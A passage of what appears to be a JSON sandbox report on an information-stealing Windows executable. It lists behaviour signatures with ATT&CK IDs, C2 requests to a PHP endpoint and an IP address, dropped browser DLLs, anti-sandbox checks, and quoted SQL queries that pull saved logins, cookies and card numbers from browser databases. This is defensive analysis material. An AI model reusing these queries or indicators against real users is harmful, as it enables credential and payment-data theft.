\"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-143","level":"informative","mitre_attack_id":"T1614.001","name":"Contains ability to retrieve system language (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\SANDBOXFLTR\"; Key: \"\"; Value: \"\")","id":"registry-174","level":"informative","mitre_attack_id":"T1652","name":"Tries to retrieve device driver information","origin":"Registry Access","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-272","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to retrieve/open a process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-148","level":"informative","mitre_attack_id":"T1622","name":"Contains ability to register a top-level exception handler (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001720)","id":"api-124","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get product type","origin":"API Call","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"GetVersionExA\" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff0c0000000000000060d7ef00000000000400000000000000000000000000000028c7d173527875880c00000064d7ef00f1c6d173ffffffff0c00000060d7ef0004000000000400000100000074d7ef00210e0c0500000000 (UID: 00000000-00001720)\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"GetVersionExA\" with parameter 940000000600000002000000f0230000020000000076ef00005eeb61000001030e0000003808000000000000000000000701000003000000000001033008000000000000ee13f076d476ef00ee13f07630080000ee13f076000000000000000030080000bc64eb6100000000f476ef0050722b74000001030000000030080000005eeb612808000084e401031477ef009299e061 (UID: 00000000-00001720)","id":"api-222","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve OS information","origin":"API Call","relevance":2,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-345","level":"informative","mitre_attack_id":"T1112","name":"Contains ability to disable/close registry key (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$3f","id":"registry-172","level":"informative","mitre_attack_id":"T1012","name":"Queries registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"HttpOpenRequestA\" (UID: 00000000-00001720)\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"POST\" object: /f0592db368f6bb51.php\" - (UID: 00000000-00001720)","id":"api-143","level":"informative","mitre_attack_id":"T1071","name":"Calls an API typically used to create a new HTTP request","origin":"API Call","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-241","level":"informative","mitre_attack_id":"T1105","name":"Contains ability to download a file from a URL (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\\" in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp\n \"Software\\Microsoft\\Office\\13.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\\" in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp\n \"\\Outlook\\accounts.txt\" in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp\n \"Software\\Microsoft\\Office\\14.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\\" in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp\n \"Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\\" in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp\n \"Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\\" in Source: 00000000-00001720.00000000.180784.03070000.00000004.mdmp","id":"string-129","level":"informative","mitre_attack_id":"T1114","name":"Found mail information locations related strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-212","level":"informative","mitre_attack_id":"T1140","name":"Contains ability to perform decryption (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"\"SM0:1720:168:WilStaging_02\"\n \"Local\\SM0:1720:168:WilStaging_02\"\n \"Local\\ZonesCacheCounterMutex\"\n \"SM0:1720:64:WilError_01\"\n \"Local\\ZonesLockedCacheCounterMutex\"","id":"mutant-0","level":"informative","name":"Creates mutants","origin":"Created Mutant","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"CallNamedPipeA\" (Indicator: \"CallNamedPipe\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-210","level":"informative","mitre_attack_id":"T1559","name":"Contains ability to create/connect to a named pipe (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"System Security","description":"$40","id":"string-114","level":"informative","mitre_attack_id":"T1134.001","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"System Security","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","id":"registry-67","level":"informative","mitre_attack_id":"T1543.003","name":"Creates or modifies windows services","origin":"Registry Access","relevance":10,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$41","id":"api-43","level":"suspicious","mitre_attack_id":"T1105","name":"Writes a PE file header to disc","origin":"API Call","relevance":10,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"TCP traffic to 95.215.204.131 on port 80 is sent without HTTP header\n TCP traffic to 142.250.80.99 on port 443 is sent without HTTP header\n TCP traffic to 142.251.167.84 on port 443 is sent without HTTP header\n UDP traffic to 142.250.65.196 on port 443\n UDP traffic to 142.251.40.99 on port 443","id":"network-23","level":"suspicious","mitre_attack_id":"T1071.001","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"$42","id":"static-1","level":"suspicious","mitre_attack_id":"T1106","name":"Imports suspicious APIs","origin":"Static Parser","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found string \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-663","level":"informative","mitre_attack_id":"T1497.002","name":"Able to identify virtual environment using user register activity","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-450","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to determine if process is running under WOW64 (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$43","id":"api-263","level":"informative","mitre_attack_id":"T1083","name":"Touches files","origin":"API Call","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"InternetOpenA\" (UID: 00000000-00001720)","id":"api-199","level":"informative","mitre_attack_id":"T1071.001","name":"Calls an API used to connect to internet","origin":"API Call","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"$44","id":"string-511","level":"informative","mitre_attack_id":"T1041","name":"Contains ability to upload file/data","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"HTTPS traffic to \"142.250.80.99\" on port \"443\"\n HTTPS traffic to \"142.251.167.84\" on port \"443\"\n HTTPS traffic to \"142.250.65.196\" on port \"443\"\n HTTPS traffic to \"142.251.40.99\" on port \"443\"","id":"network-38","level":"informative","mitre_attack_id":"T1573","name":"Uses HTTPS for communication","origin":"Network Traffic","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","id":"registry-106","level":"informative","mitre_attack_id":"T1082","name":"Read system defined device setup information from registry","origin":"Registry Access","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")\n Found reference to API \"CreateMutexA\" (Indicator: \"CreateMutex\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-354","level":"informative","mitre_attack_id":"T1082","name":"Contains reference to mutex-related activity (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"$45","id":"api-123","level":"informative","mitre_attack_id":"T1005","name":"Calls an API typically used to copy file from one location to another","origin":"API Call","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-423","level":"informative","mitre_attack_id":"T1074.001","name":"Contains ability to create directories (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$46","id":"api-161","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files (non-executable)","origin":"API Call","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"InternetReadFile\" with parameter 1999 (UID: 00000000-00001720)\n \"bf3bc85903e812ff6a136924bf8ab376.exe\" called \"InternetReadFile\" with parameter 199 (UID: 00000000-00001720)","id":"api-118","level":"informative","mitre_attack_id":"T1105","name":"Calls an API typically used to retrieve the URL data","origin":"API Call","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"Found http requests in header \"GET /\"\n Found http requests in header \"POST /f0592db368f6bb51.php\"\n Found http requests in header \"GET /9c4ff1f7c1a7004e/sqlite3.dll\"\n Found http requests in header \"GET /9c4ff1f7c1a7004e/freebl3.dll\"\n Found http requests in header \"GET /9c4ff1f7c1a7004e/mozglue.dll\"\n Found http requests in header \"GET /9c4ff1f7c1a7004e/msvcp140.dll\"\n Found http requests in header \"GET /9c4ff1f7c1a7004e/nss3.dll\"\n Found http requests in header \"GET /9c4ff1f7c1a7004e/softokn3.dll\"\n Found http requests in header \"GET /9c4ff1f7c1a7004e/vcruntime140.dll\"","id":"network-62","level":"informative","mitre_attack_id":"T1071.001","name":"Communicates with HTTP webserver (GET/POST requests)","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0\"; Key: \"PROCESSORNAMESTRING\")","id":"registry-87","level":"suspicious","mitre_attack_id":"T1497","name":"Contains ability to detect virtual environment","origin":"Registry Access","relevance":7,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"File type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\" was dropped at \"%ALLUSERSPROFILE%\\chrome.dll\"\n File type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\" was dropped at \"%ALLUSERSPROFILE%\\freebl3.dll\"\n File type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\" was dropped at \"%ALLUSERSPROFILE%\\mozglue.dll\"\n File type \"PE32 executable (DLL) (console) Intel 80386 for MS Windows\" was dropped at \"%ALLUSERSPROFILE%\\vcruntime140.dll\"\n File type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\" was dropped at \"%ALLUSERSPROFILE%\\nss3.dll\"\n File type \"PE32 executable (DLL) (console) Intel 80386 for MS Windows\" was dropped at \"%ALLUSERSPROFILE%\\msvcp140.dll\"\n File type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\" was dropped at \"%ALLUSERSPROFILE%\\softokn3.dll\"","id":"binary-27","level":"malicious","mitre_attack_id":"T1036","name":"Drops executable files to the application program directory (%ProgramData%)","origin":"Binary File","relevance":7,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")","id":"string-306","level":"informative","mitre_attack_id":"T1134.001","name":"Contains ability to impersonate access tokens (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-162","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve volume information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"$47","id":"network-2","level":"informative","mitre_attack_id":"T1071.001","name":"GETs files from a webserver","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"\"accounts.google.com\"\n \"clientservices.googleapis.com\"\n \"www.google.com\"\n \"www.gstatic.com\"","id":"network-51","level":"informative","mitre_attack_id":"T1071.004","name":"Queries DNS server","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"$48","id":"string-601","level":"informative","mitre_attack_id":"T1071","name":"Contains ability to communicate with network (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"RegEnumValueA\" (Indicator: \"RegEnumValue\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"RegOpenKeyExA\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"RegEnumKeyExA\" (Indicator: \"RegEnumKey\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"RegQueryValueExA\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-229","level":"informative","mitre_attack_id":"T1012","name":"Contains ability to query registry keys (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-427","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve a module handle (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$49","id":"api-281","level":"malicious","mitre_attack_id":"T1555.003","name":"Attempts to obtain browser login credentials (file access)","origin":"API Call","relevance":10,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"ShellExecuteExA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-240","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to execute an application (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"Raw size of \".text\" is \"0x19d800\" greater than 0x100000","id":"static-125","level":"informative","name":"PE file has a big raw size section","origin":"Static Parser","relevance":3,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Network Related","description":"Found string \"clientservices.googleapis.com\" (Indicator: \".googleapis.com\"; File: \"PCAP\")","id":"string-186","level":"informative","mitre_attack_id":"T1102","name":"Found domain strings related to cloud services(possible C&C communication)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$4a","id":"string-121","level":"informative","mitre_attack_id":"T1033","name":"Contains ability to retrieve usernames and/or user information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","id":"registry-26","level":"informative","mitre_attack_id":"T1614.001","name":"Reads the windows installation language","origin":"Registry Access","relevance":2,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetStartupInfoW@KERNEL32.dll at 10868-1-0040547D","id":"stream-133","level":"suspicious","mitre_attack_id":"T1543","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","origin":"Hybrid Analysis Technology","relevance":5,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Ransomware/Banking","description":"\"bf3bc85903e812ff6a136924bf8ab376.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","id":"registry-9","level":"suspicious","mitre_attack_id":"T1012","name":"Checks warning level of secure to non-secure traffic redirection","origin":"Registry Access","relevance":7,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"RtlNtStatusToDosError\" (Indicator: \"RtlNtStatusToDosError\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetNativeSystemInfo\" (Indicator: \"GetNativeSystemInfo\"; File: \"bf3bc85903e812ff6a136924bf8ab376.exe\")\n Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")\n Found reference to API \"RtlNtStatusToDosError\" (Indicator: \"RtlNtStatusToDosError\"; Source: \"00000000-00001720.00000000.180784.050C0000.00000040.mdmp\")","id":"string-89","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve information about the current system (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"$4b","id":"static-78","level":"informative","name":"Contains export functions","origin":"Static Parser","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"The input sample is signed with a certificate issued by \"CN=WR2, O=Google Trust Services, C=US\" (SHA1: 55:5D:8B:B6:E4:3E:24:63:E6:9D:7A:AA:44:56:92:9C:22:7E:CD:5A; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GTS Root R1, O=Google Trust Services LLC, C=US\" (SHA1: 66:E4:16:12:60:B1:00:FE:E0:DE:28:7A:9A:52:93:B4:C2:22:4A:E6; see report for more information)\n The input sample is signed with a certificate issued by \"CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE\" (SHA1: 08:74:54:87:E8:91:C1:9E:30:78:C1:F2:A0:7E:45:29:50:EF:36:F6; see report for more information)\n The input sample is signed with a certificate issued by \"CN=WR2, O=Google Trust Services, C=US\" (SHA1: 74:3D:68:F7:64:93:DF:41:12:95:A6:69:57:38:7A:AF:75:38:44:2D; see report for more information)\n The input sample is signed with a certificate issued by \"CN=WR2, O=Google Trust Services, C=US\" (SHA1: 8A:FD:2E:CF:C6:37:BB:86:75:C1:A8:96:34:2A:A2:19:13:ED:3B:80; see report for more information)","id":"certificate-0","level":"informative","mitre_attack_id":"T1553.002","name":"The input sample is signed with a certificate","origin":"Certificate Data","relevance":10,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$4c","id":"string-310","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to load modules (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$4d","id":"api-102","level":"informative","mitre_attack_id":"T1083","name":"Calls an API's typically used for searching a directory for a files","origin":"API Call","relevance":5,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"$4e","id":"static-6","level":"suspicious","mitre_attack_id":"T1027.009","name":"section contains high entropy","origin":"Static Parser","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetModuleHandleA@KERNEL32.dll at 10868-456-0040CBA7","id":"stream-121","level":"suspicious","mitre_attack_id":"T1082","name":"Contains ability to retrieve a module handle","origin":"Hybrid Analysis Technology","relevance":5,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found string \"SELECT fieldname, value FROM moz_formhistory\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found string \"SELECT origin_url, username_value, password_value FROM logins\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found string \"SELECT name, value FROM autofill\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found string \"SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")\n Found string \"SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"; Source: \"00000000-00001720.00000000.180784.03070000.00000004.mdmp\")","id":"string-508","level":"malicious","mitre_attack_id":"T1533","name":"Steals sensitive data from browsers","origin":"File/Memory","relevance":10,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"External Systems","description":"Detected alert \"SURICATA QUIC failed decrypt\" (SID: 2231000, Rev: 1, Severity: 3) categorized as \"Generic Protocol Command Decode\"","id":"suricata-0","level":"informative","name":"Detected Suricata Alert","origin":"Suricata Alerts","relevance":10,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"$4f","id":"string-101","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to execute Windows APIs","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"General","description":"$50","id":"string-120","level":"informative","mitre_attack_id":"T1012","name":"Contains registry location strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"chrome.exe\" is creating a new process (Name: \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\")\n \"msedge.exe\" is creating a new process (Name: \"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\")","id":"api-2","level":"informative","mitre_attack_id":"T1106","name":"Creates new processes","origin":"API Call","relevance":8,"sources":[{"report_id":"672c18fbf521efbe2e06a315","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"InterlockedExchangeAdd\" (Indicator: \"InterlockedExchange\"; File: 